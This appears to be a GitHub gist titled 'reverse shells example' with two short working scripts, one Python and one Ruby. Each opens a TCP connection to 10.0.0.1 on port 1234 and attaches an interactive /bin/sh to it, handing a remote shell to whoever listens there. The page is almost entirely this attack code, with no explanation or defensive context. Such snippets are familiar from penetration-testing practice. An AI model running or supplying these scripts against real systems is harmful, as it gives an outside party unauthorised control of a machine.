Skip to content

Instantly share code, notes, and snippets.

@tuxfight3r
Last active January 6, 2021 16:20
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save tuxfight3r/8b0470d1af99159f15a2470a3e4fe694 to your computer and use it in GitHub Desktop.
Save tuxfight3r/8b0470d1af99159f15a2470a3e4fe694 to your computer and use it in GitHub Desktop.
reverse shells example
#!usr/bin/python
import socket
import subprocess
import os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.0.1",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
#!/usr/bin/ruby
require "socket"
f=TCPSocket.open("10.0.0.1",1234).to_i;
exec sprintf ("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment